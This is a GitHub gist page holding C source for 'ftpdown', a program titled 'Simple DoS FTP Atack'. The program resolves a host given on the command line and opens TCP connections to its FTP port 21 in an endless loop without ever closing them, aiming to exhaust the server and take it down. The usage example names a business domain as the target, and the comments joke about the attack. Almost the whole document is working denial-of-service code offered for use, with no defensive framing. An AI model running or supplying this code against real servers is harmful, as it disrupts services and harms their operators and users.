Skip to content

Instantly share code, notes, and snippets.

@tommelo
Last active September 19, 2016 13:57
Show Gist options
  • Save tommelo/2bcead397c91686b918536db7ee79e07 to your computer and use it in GitHub Desktop.
Save tommelo/2bcead397c91686b918536db7ee79e07 to your computer and use it in GitHub Desktop.
Simple DoS FTP Atack
#include <stdio.h>
#include <netdb.h>
#include <string.h>
#include <errno.h>
#include <sys/socket.h>
#include <resolv.h>
#include <stdlib.h>
#include <arpa/inet.h>
#define FTP_PORT 21
#define MAX_BUFFER 1024
int main(int argc, char *argv[])
{
if (argc < 2)
{
printf("[!] no arguments given\n");
printf("[!] usage: ./ftpdown [url]\n");
printf("[!] eg.: ./ftpdown www.grandbusiness.com.br\n");
return 0;
}
char *url = argv[1];
struct hostent *host;
host = gethostbyname(url);
char *ip = inet_ntoa( *((struct in_addr*) host->h_addr));
int sockfd;
struct sockaddr_in dest;
char buffer[MAX_BUFFER];
// to infinite and beyond!!
// no, u mad?
// too late, here we go!
for (;;)
{
if ( (sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0 )
{
printf("[!] unable to open socket for streaming");
exit(errno);
}
bzero(&dest, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_port = htons(FTP_PORT);
if ( inet_aton(ip, &dest.sin_addr.s_addr) == 0 )
{
printf("[!] unable to initialize the connection");
exit(errno);
}
if ( connect(sockfd, (struct sockaddr*)&dest, sizeof(dest)) != 0 )
{
printf("[!] unable to connect to host %s, apparently it's already down", ip);
continue;
}
bzero(buffer, MAX_BUFFER);
recv(sockfd, buffer, sizeof(buffer), 0);
printf("status [CONNECTION STABLISHED] | got message: %s", buffer);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment